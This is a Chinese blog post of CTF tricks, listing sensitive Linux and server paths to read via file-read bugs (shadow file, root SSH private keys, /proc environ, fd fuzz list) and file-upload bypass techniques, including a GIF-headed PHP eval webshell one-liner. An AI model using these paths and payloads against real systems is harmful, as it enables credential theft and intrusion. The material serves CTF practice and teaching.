一些CTF 做题的tricks

一些CTF 做题的tricks,东拼西凑放到这里,方便查找

任意文件读取路径汇总

任意文件读取漏洞和文件包含漏洞的表现相似,但是任意文件读取不能getshell,可以通过尝试读取相对路径的脚本文件,比如/read.php?file=index.php,如果可以读取到文件源码,说明是文件读取,如果不能读取到文件源码说明是文件包含。

下面收集的是一些常用的利用路径,应该够用了,以后也会及时更新,放在这便于以后的查阅和参考:


需要高权限读取的:

用户信息文件

/etc/passwd         # 用来记录每个拥有系统访问权的注册用户
/etc/shadow         # 密码信息,获取到后可用 John the Ripper 爆破
/root/.bash_history # 输入命令的历史记录,还有root外的其他用户
/root/.ssh/id_rsa   # 拿到私钥后可直接ssh登陆

### 系统信息文件

/etc/hosts          # 主机信息
/proc/version       # 内核版本
/proc/mounts        # 挂载的文件系统列表
/root/.bashrc       # 环境变量信息
/proc/net/route     # 路由表信息
/proc/net/arp       # arp表,可以获得内网其他机器的地址
/root/.viminfo      # vim 信息

程序运行信息

/proc/sched_debug   # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用

/proc/net/tcp       # 活动连接的信息
/proc/net/udp
/proc/net/fib_trie  # 路由缓存

/proc/[PID]/cmdline # 进程状态[pid],可能包含有用的路径信息,可以为0000-9999,可以暴力枚举
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd     # 当前进程的工作目录
/proc/[PID]/fd/[num]  # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log

/proc/self/fd/[0-99]  # 可能获取到当前运行进程的文件

获取当前进程信息

fuzz字典

/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/verison
/proc/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version

系统信息相关:

/etc/issue
/proc/version
/etc/redhat-release
/etc/debian_version
/etc/slackware_version
/etc/*version
/proc/cpuinfo

一些默认路径

SSH

/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure

Nginx

/etc/nginx/nginx.conf
/var/www/html
/usr/local/services/nginx-1.6.2/logs/access.log     #根据情况替换[version]
/usr/local/services/nginx-[version]/logs/error.log
/usr/local/services/nginx-[version]/nginx.conf
/usr/local/services/nginx-[version]/conf/nginx.conf
/usr/local/services/nginx-[version]/conf/proxy.conf
/usr/local/services/nginx-[version]/conf/extra/haolaiyao.conf

Apache

/home/httpd/
/home/httpd/www/

tomcat

/usr/local/services/apache-tomcat-8.0.23/logs       #根据情况替换[version]
/usr/local/services/apache-tomcat-[version]/logs/catalina.out

jetty

/usr/local/services/jetty-8.1.16/                   #根据情况替换[version]
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml

resin

/usr/local/services/resin-4.0.44/                   #根据情况替换[version]
/usr/local/services/resin-4.0.44/conf/resin.xml
/usr/local/services/resin-4.0.44/conf/resin.properties

svn

/home/svnroot/

文件上传绕过


平常做ctf题的时候有很多上传的题目,有时候碰到了文件上传会不知道往哪里尝试绕过,所以在这里汇总平时遇到的一些绕过思路,以便以后卡克的时候速查。


Content-Type字段校验

Content-Type用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件,绕过时只需更改Content-Type参数值即可。

常用Content-Type:

#图片文件
image/png   image/jpeg  image/gif

#文本文件
text/plain  text/xml    text/html

更多 -> HTTP Content-Type 对照表


文件头绕过

在木马内容基础上再加一些文件信息,比如文件的文件头。

其中.gif文件的文件头可以全部用ascii字符表示:

GIF89a <?php eval($_POST[1]); ?>

文件名绕过

后缀名绕过

后缀大小写绕过(linux下可以尝试)

.pHp .aSp

不常用后缀绕多

通过上传一些平时不怎么用的容易被人忽视的文件扩展名,来绕过一些验证。

.jsp  .jspa  .jspx  .jspw  .jspv  .jspf  .jtml      # jsp文
  • 5
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值